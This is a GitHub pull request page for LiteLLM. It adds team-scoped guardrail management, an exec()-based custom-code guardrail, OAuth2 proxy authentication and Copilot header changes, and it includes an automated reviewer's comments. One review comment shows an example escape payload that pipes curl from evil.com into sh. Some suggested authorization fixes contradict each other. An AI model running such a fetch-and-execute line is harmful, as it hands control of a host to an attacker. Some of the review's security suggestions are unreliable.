Skip to content

feat(guardrails): implement team-based isolation guardrails mgmnt (#1… - #20318

Merged
Sameerlite merged 18 commits into
mainfrom
litellm_oss_staging_02_03_2026
Feb 4, 2026
Merged

feat(guardrails): implement team-based isolation guardrails mgmnt (#1…#20318
Sameerlite merged 18 commits into
mainfrom
litellm_oss_staging_02_03_2026

Conversation

@ghost

@ghost ghost commented Feb 3, 2026

Copy link
Copy Markdown

…9889)

  • feat(guardrails): implement team-based isolation guardrails mgmnt

  • fix lint errors

  • add allow_team_guardrail_config for admin permissions

Relevant issues

Pre-Submission checklist

Please complete all items before asking a LiteLLM maintainer to review your PR

  • I have Added testing in the tests/litellm/ directory, Adding at least 1 test is a hard requirement - see details
  • My PR passes all unit tests on make test-unit
  • My PR's scope is as isolated as possible, it only solves 1 specific problem

CI (LiteLLM team)

CI status guideline:

  • 50-55 passing tests: main is stable with minor issues.
  • 45-49 passing tests: acceptable but needs attention
  • <= 40 passing tests: unstable; be careful with your merges and assess the risk.
  • Branch creation CI run
    Link:

  • CI run for the last commit
    Link:

  • Merge / cherry-pick CI run
    Links:

Type

🆕 New Feature
🐛 Bug Fix
🧹 Refactoring
📖 Documentation
🚄 Infrastructure
✅ Test

Changes

…9889)

* feat(guardrails): implement team-based isolation guardrails mgmnt

* fix lint errors

* add allow_team_guardrail_config for admin permissions
@vercel

vercel Bot commented Feb 3, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
litellm Ready Ready Preview, Comment Feb 4, 2026 0:08am

Request Review

Co-authored-by: Krish Dholakia <krrishdholakia@gmail.com>
@greptile-apps

greptile-apps Bot commented Feb 3, 2026

Copy link
Copy Markdown
Contributor

Greptile Summary

This PR introduces several significant features: a custom code guardrail that executes user-supplied Python code in a sandboxed environment, a team-based guardrail management system, a new /guardrails/test_custom_code playground endpoint, a proxy_auth module for OAuth2/JWT token lifecycle management, and improvements to GitHub Copilot chat transformation and Prometheus deployment failure metrics.

Key issues found:

  • Deadlock in CustomCodeGuardrail.update_custom_codethreading.Lock is not reentrant; update_custom_code holds the lock then calls _compile_custom_code() which re-acquires it, causing a permanent deadlock on any code hot-reload.
  • Per-request Authenticator() instantiation in main.py — a new Authenticator object is created for every GitHub Copilot request in the critical path, and the same header injection is already performed inside GithubCopilotConfig.validate_environment, resulting in duplicate work and unnecessary object creation.
  • No execution timeout in production guardrail — unlike the test endpoint (which uses a ThreadPoolExecutor with a 5-second timeout), CustomCodeGuardrail.apply_guardrail calls user code synchronously in the async event loop with no timeout, risking event-loop starvation from slow or infinite-loop guardrail code.
  • Backwards-incompatible removal of presidio_filter_scope — the field is dropped from PresidioConfigModel without a deprecation path; users who set "input" or "output" in their configs will silently fall back to "both" after upgrading.
  • Synchronous httpx.post in GenericOAuth2Credential — token refreshes use a blocking HTTP call that can block the asyncio event loop when litellm.proxy_auth is used from async callers.

Confidence Score: 2/5

  • Not safe to merge — contains a confirmed deadlock in update_custom_code, a backwards-incompatible config removal, and a performance regression from per-request Authenticator instantiation.
  • The deadlock in CustomCodeGuardrail.update_custom_code is a hard runtime bug that will hang the server any time guardrail code is hot-reloaded. The per-request Authenticator() creation in main.py is a critical-path regression. The presidio_filter_scope removal silently changes behaviour for existing users. Combined with the previously-noted authorization logic issues (OR/AND bugs in guardrail CRUD endpoints) still present in the codebase, this PR needs several targeted fixes before it is safe to merge.
  • litellm/proxy/guardrails/guardrail_hooks/custom_code/custom_code_guardrail.py (deadlock), litellm/main.py (per-request Authenticator), litellm/types/guardrails.py (presidio_filter_scope removal), litellm/proxy/guardrails/guardrail_endpoints.py (authorization logic)

Important Files Changed

Filename Overview
litellm/proxy/guardrails/guardrail_hooks/custom_code/custom_code_guardrail.py New custom code guardrail; contains a deadlock in update_custom_code (non-reentrant lock) and no execution timeout in the production async path.
litellm/proxy/guardrails/guardrail_hooks/custom_code/primitives.py New sandbox primitives file providing safe, limited operations (regex, JSON, URL, text) to custom guardrail code; implementation looks correct.
litellm/proxy/guardrails/guardrail_endpoints.py New /guardrails/test_custom_code endpoint; has sandbox controls (FORBIDDEN_PATTERNS, __builtins__={}, timeout) but lacks role authorization (any API key holder can run code).
litellm/main.py Adds proxy_auth header injection (good) and GitHub Copilot per-request Authenticator() instantiation (bad — creates new object in critical path and duplicates work already done in transformation layer).
litellm/proxy_auth/credentials.py New OAuth2 credential providers; GenericOAuth2Credential uses synchronous httpx.post which can block the event loop when called from async contexts.
litellm/types/guardrails.py Adds CUSTOM_CODE guardrail type and custom_code field; backwards-incompatibly removes presidio_filter_scope from PresidioConfigModel.
litellm/proxy/guardrails/guardrail_hooks/custom_code/init.py Clean initializer/registry for CUSTOM_CODE guardrail; no issues found.
litellm/integrations/prometheus.py Adds _extract_deployment_failure_label_values with layered fallback for missing Prometheus labels; logic is correct.
litellm/llms/github_copilot/chat/transformation.py Fixes system-to-assistant message conversion and adds Copilot default headers inside validate_environment; logic appears correct.

Sequence Diagram

sequenceDiagram
    participant Client
    participant LiteLLMProxy
    participant GuardrailEndpoint
    participant CustomCodeGuardrail
    participant Primitives

    Client->>LiteLLMProxy: POST /completions (with guardrail)
    LiteLLMProxy->>CustomCodeGuardrail: apply_guardrail(inputs, request_data, input_type)
    CustomCodeGuardrail->>Primitives: exec user code with sandboxed primitives
    Primitives-->>CustomCodeGuardrail: allow() / block(reason) / modify(texts)
    alt allow
        CustomCodeGuardrail-->>LiteLLMProxy: return inputs unchanged
    else block
        CustomCodeGuardrail-->>LiteLLMProxy: raise HTTPException(400)
    else modify
        CustomCodeGuardrail-->>LiteLLMProxy: return modified inputs
    end
    LiteLLMProxy-->>Client: Response / Error

    Client->>GuardrailEndpoint: POST /guardrails/test_custom_code
    GuardrailEndpoint->>GuardrailEndpoint: FORBIDDEN_PATTERNS check
    GuardrailEndpoint->>GuardrailEndpoint: exec with __builtins__={} + timeout
    GuardrailEndpoint-->>Client: TestCustomCodeGuardrailResponse
Loading

Last reviewed commit: 54b5c7d

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

4 files reviewed, 4 comments

Edit Code Review Agent Settings | Greptile

Comment on lines +395 to +399
if getattr(
user_api_key_dict, "user_role", None
) != LitellmUserRoles.PROXY_ADMIN or (
team_id is not None and team_id != "litellm-dashboard"
):

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

authorization logic uses OR instead of AND - proxy admin with a team_id can bypass team ownership checks

The condition != LitellmUserRoles.PROXY_ADMIN or (team_id is not None and team_id != "litellm-dashboard") evaluates to true when:

  • user is NOT proxy admin, OR
  • user has a team_id that isn't "litellm-dashboard"

This means a proxy admin with team_id="team-123" would enter the ownership check block, when they should be exempt.

Suggested change
if getattr(
user_api_key_dict, "user_role", None
) != LitellmUserRoles.PROXY_ADMIN or (
team_id is not None and team_id != "litellm-dashboard"
):
if getattr(
user_api_key_dict, "user_role", None
) != LitellmUserRoles.PROXY_ADMIN and (
team_id is not None and team_id != "litellm-dashboard"
):
Prompt To Fix With AI
This is a comment left during a code review.
Path: litellm/proxy/guardrails/guardrail_endpoints.py
Line: 395:399

Comment:
authorization logic uses OR instead of AND - proxy admin with a team_id can bypass team ownership checks

The condition `!= LitellmUserRoles.PROXY_ADMIN or (team_id is not None and team_id != "litellm-dashboard")` evaluates to true when:
- user is NOT proxy admin, OR
- user has a team_id that isn't "litellm-dashboard"

This means a proxy admin with `team_id="team-123"` would enter the ownership check block, when they should be exempt.

```suggestion
            if getattr(
                user_api_key_dict, "user_role", None
            ) != LitellmUserRoles.PROXY_ADMIN and (
                team_id is not None and team_id != "litellm-dashboard"
            ):
```

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines +479 to +483
status_code=404, detail=f"Guardrail with ID {guardrail_id} not found"
)

if existing_guardrail.get("team_id"):
team_id = getattr(user_api_key_dict, "team_id", None)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

same OR/AND logic error as in update_guardrail - proxy admin with team_id bypasses authorization incorrectly

Suggested change
status_code=404, detail=f"Guardrail with ID {guardrail_id} not found"
)
if existing_guardrail.get("team_id"):
team_id = getattr(user_api_key_dict, "team_id", None)
if getattr(
user_api_key_dict, "user_role", None
) != LitellmUserRoles.PROXY_ADMIN and (
team_id is not None and team_id != "litellm-dashboard"
):
Prompt To Fix With AI
This is a comment left during a code review.
Path: litellm/proxy/guardrails/guardrail_endpoints.py
Line: 479:483

Comment:
same OR/AND logic error as in `update_guardrail` - proxy admin with team_id bypasses authorization incorrectly

```suggestion
            if getattr(
                user_api_key_dict, "user_role", None
            ) != LitellmUserRoles.PROXY_ADMIN and (
                team_id is not None and team_id != "litellm-dashboard"
            ):
```

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines +600 to +604
if getattr(
user_api_key_dict, "user_role", None
) != LitellmUserRoles.PROXY_ADMIN or (
team_id is not None and team_id != "litellm-dashboard"
):

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

same OR/AND logic error as in other endpoints - proxy admin authorization bypass is incorrect

Suggested change
if getattr(
user_api_key_dict, "user_role", None
) != LitellmUserRoles.PROXY_ADMIN or (
team_id is not None and team_id != "litellm-dashboard"
):
if getattr(
user_api_key_dict, "user_role", None
) != LitellmUserRoles.PROXY_ADMIN and (
team_id is not None and team_id != "litellm-dashboard"
):
Prompt To Fix With AI
This is a comment left during a code review.
Path: litellm/proxy/guardrails/guardrail_endpoints.py
Line: 600:604

Comment:
same OR/AND logic error as in other endpoints - proxy admin authorization bypass is incorrect

```suggestion
            if getattr(
                user_api_key_dict, "user_role", None
            ) != LitellmUserRoles.PROXY_ADMIN and (
                team_id is not None and team_id != "litellm-dashboard"
            ):
```

How can I resolve this? If you propose a fix, please make it concise.

Comment on lines +167 to +170
filter_team_id = team_id

guardrails = await GUARDRAIL_REGISTRY.get_all_guardrails_from_db(
prisma_client=prisma_client
prisma_client=prisma_client, team_id=filter_team_id

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

filtering condition has inverted logic - should use OR instead of AND

When user_role != PROXY_ADMIN, you want to filter by team. But the current condition:

if user_role != LitellmUserRoles.PROXY_ADMIN or (team_id is not None and team_id != "litellm-dashboard"):

This means filtering happens when user is NOT admin OR has a team - so even proxy admins get filtered if they have a team_id.

Should be:

Suggested change
filter_team_id = team_id
guardrails = await GUARDRAIL_REGISTRY.get_all_guardrails_from_db(
prisma_client=prisma_client
prisma_client=prisma_client, team_id=filter_team_id
if user_role != LitellmUserRoles.PROXY_ADMIN and (
team_id is not None and team_id != "litellm-dashboard"
):
Prompt To Fix With AI
This is a comment left during a code review.
Path: litellm/proxy/guardrails/guardrail_endpoints.py
Line: 167:170

Comment:
filtering condition has inverted logic - should use OR instead of AND

When `user_role != PROXY_ADMIN`, you want to filter by team. But the current condition:
```python
if user_role != LitellmUserRoles.PROXY_ADMIN or (team_id is not None and team_id != "litellm-dashboard"):
```
This means filtering happens when user is NOT admin OR has a team - so even proxy admins get filtered if they have a team_id.

Should be:
```suggestion
        if user_role != LitellmUserRoles.PROXY_ADMIN and (
            team_id is not None and team_id != "litellm-dashboard"
        ):
```

How can I resolve this? If you propose a fix, please make it concise.

Adds litellm.proxy_auth to automatically obtain and refresh OAuth2/JWT
tokens when connecting to LiteLLM Proxy or any OAuth2-protected endpoint.

- Add ProxyAuthHandler for token lifecycle (obtain, cache, refresh)
- Add AzureADCredential wrapper for azure-identity credentials
- Add GenericOAuth2Credential for any OAuth2 provider (Okta, Auth0, etc)
- Auto-inject Authorization headers in completion() and embedding()

Closes #19834
Chesars and others added 2 commits February 2, 2026 22:05
…20113)

- Remove system-to-assistant message conversion (API now supports system prompts)
- Auto-inject required Copilot headers in chat completions (same as /responses)
- Deprecate disable_copilot_system_to_assistant flag
- Update docs to remove manual extra_headers requirement

Fixes #19873
67 vercel_ai_gateway models were missing capability flags (supports_vision,
supports_function_calling, supports_tool_choice, supports_response_schema).

These capabilities were inferred from the corresponding direct provider entries
for the same models (e.g., vercel_ai_gateway/anthropic/claude-3.5-sonnet now has
the same capabilities as anthropic/claude-3.5-sonnet).

Models fixed include:
- Claude 3/3.5/3.7 (Anthropic)
- GPT-4/5 variants (OpenAI)
- Gemini 2.0/2.5 (Google)
- Grok 3/4 (xAI)
- Mistral/Mixtral variants
- Qwen models
- DeepSeek models
- And more

This ensures consistent capability reporting across providers for the same
underlying models.

Co-authored-by: krauckbot <krauckbot123@gmail.com>
agrattan0820 and others added 2 commits February 3, 2026 14:41
* fix: check for model_response_choices before guardrail input

* test: add tests for responses api translation

* fix: protect other guardrail translations

* refactor: remove type ignores

* anthropic request body got mutated fix

* add warning when extra_body is provided but user is non premium

* fix: resolve mypy union-attr errors in anthropic guardrail handler

Cast choices[0] to Choices type before accessing .message attribute
to satisfy mypy's union type checking for Choices | StreamingChoices.

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* add logger when model response has no choices for streaming /response and /messages

* update pyproject.toml as requested

* Revert "update pyproject.toml as requested"

This reverts commit 541a2b0.

* update pyproject.toml as requested

* Revert "update pyproject.toml as requested"

This reverts commit 716ea0c.

---------

Co-authored-by: Xiaohan Fu <xiaohan@grayswan.ai>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
…19837)

* fix fail-open for grayswan; pass metadata to cygnal api endpoint; update docs

* pass litellm_metadata to cygnal in payload

* switch error msg to const, and clean exception handling.

* update pyproject.toml as requested

* Revert "update pyproject.toml as requested"

This reverts commit 4eece15.
* feat(guardrails/): allow custom code execution for guardrails

first step in allowing teams to submit custom code for guardrails

* feat: custom_code_guardrail.md

support passing custom code for guardrails

* feat: initial commit adding ui for custom code guardrails

allows users to write guardrails based on custom code

* feat: expose new test custom code guardrail endpoint

allows ui testing playground to sanity check if guardrail is working as expected

* fix: fix linting errors

* fix: fix max recursion check

* fix: fix linting error
…_cases

Revert "fix: proxy failure cases, now log ip and user agent, key hash, name"
@Sameerlite
Sameerlite merged commit b2feedc into main Feb 4, 2026
48 of 65 checks passed
@shivamrawat1

Copy link
Copy Markdown
Collaborator

@greptile re-review this

Comment on lines +130 to +136
try:
# Create a restricted execution environment
# Only include our safe primitives
exec_globals = get_custom_code_primitives().copy()

# Execute the user code in the restricted environment
exec(compile(self.custom_code, "<guardrail>", "exec"), exec_globals)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Critical: Production sandbox is missing security restrictions that the test endpoint has

The production _compile_custom_code() method lacks two critical security controls present in the test endpoint (/guardrails/test_custom_code):

  1. Missing __builtins__ restriction: When Python's exec() receives a globals dict without a __builtins__ key, it automatically injects the full builtins module from the calling scope. This means production guardrail code has unrestricted access to open, __import__, exec, etc.

  2. Missing FORBIDDEN_PATTERNS validation: The test endpoint validates code against patterns like import, open(), __globals__, etc. The production path has no such validation.

This allows malicious or misconfigured guardrail code to escape the sandbox:

# This would execute without safeguards in production:
def apply_guardrail(inputs, request_data, input_type):
    import os
    os.system("curl evil.com | sh")
    return allow()

Apply both safeguards used in the test endpoint (lines 1358-1412):

exec_globals = get_custom_code_primitives().copy()
exec_globals["__builtins__"] = {}  # Restrict builtins

# Also validate against FORBIDDEN_PATTERNS (extract to shared constant)
for pattern, error_msg in FORBIDDEN_PATTERNS:
    if re.search(pattern, self.custom_code):
        raise CustomCodeCompilationError(f"Security violation: {error_msg}")

exec(compile(self.custom_code, "<guardrail>", "exec"), exec_globals)

Comment on lines +1271 to +1277
@router.post(
"/guardrails/test_custom_code",
tags=["Guardrails"],
dependencies=[Depends(user_api_key_auth)],
response_model=TestCustomCodeGuardrailResponse,
)
async def test_custom_code_guardrail(request: TestCustomCodeGuardrailRequest):

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing admin-only authorization on code execution endpoint

The /guardrails/test_custom_code endpoint executes user-supplied Python code (even if sandboxed) but only requires user_api_key_auth in dependencies. The docstring claims "This endpoint allows admins to experiment" but enforces no role check, allowing any valid API key holder to invoke code execution.

This should require proxy admin role verification before executing user code, similar to other sensitive administrative endpoints. Add a check that validates user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN and returns 403 Forbidden for non-admins.

@shivamrawat1

Copy link
Copy Markdown
Collaborator

@greptile give the score again

Comment on lines +355 to +364
with self._compile_lock:
# Reset state
old_function = self._compiled_function
old_code = self.custom_code
self._compiled_function = None
self._compile_error = None

try:
self.custom_code = new_code
self._compile_custom_code()

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Deadlock when calling update_custom_code

update_custom_code acquires self._compile_lock at line 355 and then calls self._compile_custom_code() at line 364. Since _compile_custom_code also tries to acquire the same threading.Lock at line 126, this will deadlock permanently — Python's threading.Lock is not reentrant.

Any call to update_custom_code will hang forever. Either use threading.RLock instead, or extract the shared compilation logic into a private helper that does not acquire the lock, so both callers can invoke it:

def _compile_custom_code(self) -> None:
    with self._compile_lock:
        self._do_compile()

def update_custom_code(self, new_code: str) -> None:
    with self._compile_lock:
        old_function = self._compiled_function
        old_code = self.custom_code
        self._compiled_function = None
        self._compile_error = None
        try:
            self.custom_code = new_code
            self._do_compile()   # <- call shared helper, no lock re-acquisition
            ...
        except CustomCodeCompilationError:
            self.custom_code = old_code
            self._compiled_function = old_function
            raise

def _do_compile(self) -> None:
    # compilation logic without any lock
    ...

Comment thread litellm/main.py
Comment on lines +2508 to +2518
if custom_llm_provider == "github_copilot":
from litellm.llms.github_copilot.common_utils import (
get_copilot_default_headers,
)
from litellm.llms.github_copilot.authenticator import Authenticator

copilot_auth = Authenticator()
copilot_api_key = copilot_auth.get_api_key()
copilot_headers = get_copilot_default_headers(copilot_api_key)
if extra_headers:
copilot_headers.update(extra_headers)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

New Authenticator() object created per request — critical path regression

A brand-new Authenticator() is instantiated on every single GitHub Copilot request in the critical path. Depending on how Authenticator works (e.g. reading credentials, making network calls), this can introduce significant latency and resource overhead on high-traffic deployments.

Additionally, the same work is already done inside GithubCopilotConfig.validate_environment (in litellm/llms/github_copilot/chat/transformation.py, which was also modified in this PR): it calls self.authenticator.get_api_key() and merges get_copilot_default_headers() into validated_headers. This duplicates the header injection and risks header conflicts.

Provider-specific logic of this kind belongs inside litellm/llms/github_copilot/ — not in litellm/main.py. Please remove this block and rely on the headers already set by validate_environment.

Comment on lines +200 to +207

# Prepare request_data with safe subset of information
safe_request_data = self._prepare_safe_request_data(request_data)

# Execute the custom function
result = self._compiled_function(inputs, safe_request_data, input_type)

# Process the result

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Production guardrail execution has no timeout protection

The test endpoint (/guardrails/test_custom_code) wraps execution in a concurrent.futures.ThreadPoolExecutor with a 5-second timeout. However, the production apply_guardrail path calls self._compiled_function(...) directly and synchronously inside an async method — meaning a slow or infinite-loop user function will block the asyncio event loop indefinitely.

Consider wrapping the call with asyncio.wait_for (or running it in a thread via asyncio.get_event_loop().run_in_executor) with a configurable timeout, consistent with the test endpoint's approach.

Comment on lines 297 to 303
pii_entities_config: Optional[Dict[Union[PiiEntityType, str], PiiAction]] = Field(
default=None, description="Configuration for PII entity types and actions"
)
presidio_filter_scope: Literal["input", "output", "both"] = Field(
default="both",
description=(
"Where to apply Presidio checks: 'input' runs on user → model traffic, "
"'output' runs on model → user traffic, and 'both' applies to both."
),
)

presidio_score_thresholds: Optional[Dict[Union[PiiEntityType, str], float]] = Field(
default=None,
description=(

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Backwards-incompatible removal of presidio_filter_scope

The presidio_filter_scope field is silently removed from PresidioConfigModel. Users who set presidio_filter_scope: "input" or presidio_filter_scope: "output" in their YAML/config to limit Presidio to only pre- or post-call traffic will silently lose that behaviour after upgrading — their setting will be ignored and the guardrail will apply to both directions (the hardcoded fallback in guardrail_initializers.py line 79: getattr(litellm_params, "presidio_filter_scope", None) or "both").

Per the backwards-compatibility policy, a breaking config change should use a deprecation path or a feature flag rather than a hard removal. Consider keeping the field (even as deprecated) so existing configs continue to work.

Comment on lines +159 to +174
import httpx

response = httpx.post(
self.token_url,
data={
"grant_type": "client_credentials",
"client_id": self.client_id,
"client_secret": self.client_secret,
"scope": scope,
},
)
response.raise_for_status()
data = response.json()

self._cached_token = AccessToken(
token=data["access_token"],

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Synchronous httpx.post call may block the asyncio event loop

GenericOAuth2Credential.get_token uses the blocking httpx.post() synchronous client to fetch tokens. ProxyAuthHandler.get_auth_headers() is called from within the synchronous completion() function in main.py, which is fine there. However, litellm.acompletion and other async entry points ultimately share this same code path, meaning a token refresh will block the event loop until the HTTP request to the token endpoint completes.

Consider using httpx.AsyncClient inside an async variant of get_token, or offloading the synchronous call to a thread pool (asyncio.to_thread) when called from an async context.

@ishaan-berri
ishaan-berri deleted the litellm_oss_staging_02_03_2026 branch March 26, 2026 22:29
fzowl pushed a commit to fzowl/litellm that referenced this pull request Jun 24, 2026
…03_2026

feat(guardrails): implement team-based isolation guardrails mgmnt (#1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

8 participants